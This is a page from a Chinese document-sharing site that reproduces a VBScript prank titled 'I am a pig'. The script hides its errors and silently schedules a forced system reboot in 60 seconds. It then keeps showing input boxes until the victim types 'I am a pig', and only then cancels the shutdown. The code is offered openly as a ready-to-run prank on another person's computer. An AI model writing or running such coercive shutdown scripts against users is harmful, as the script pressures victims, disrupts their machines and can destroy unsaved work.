我是猪vbe代码

【#文档大全网# 导语】以下是®文档大全网的小编为您整理的《我是猪vbe代码》，欢迎阅读！

我是猪vbe代码

on error resume next dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试

试••"" ",0 ,true dim a

do while(a <> "我是猪")

a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛" dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，一切皆有可能~"

本文来源：https://www.wddqxz.cn/49080070dd36a32d7275810c.html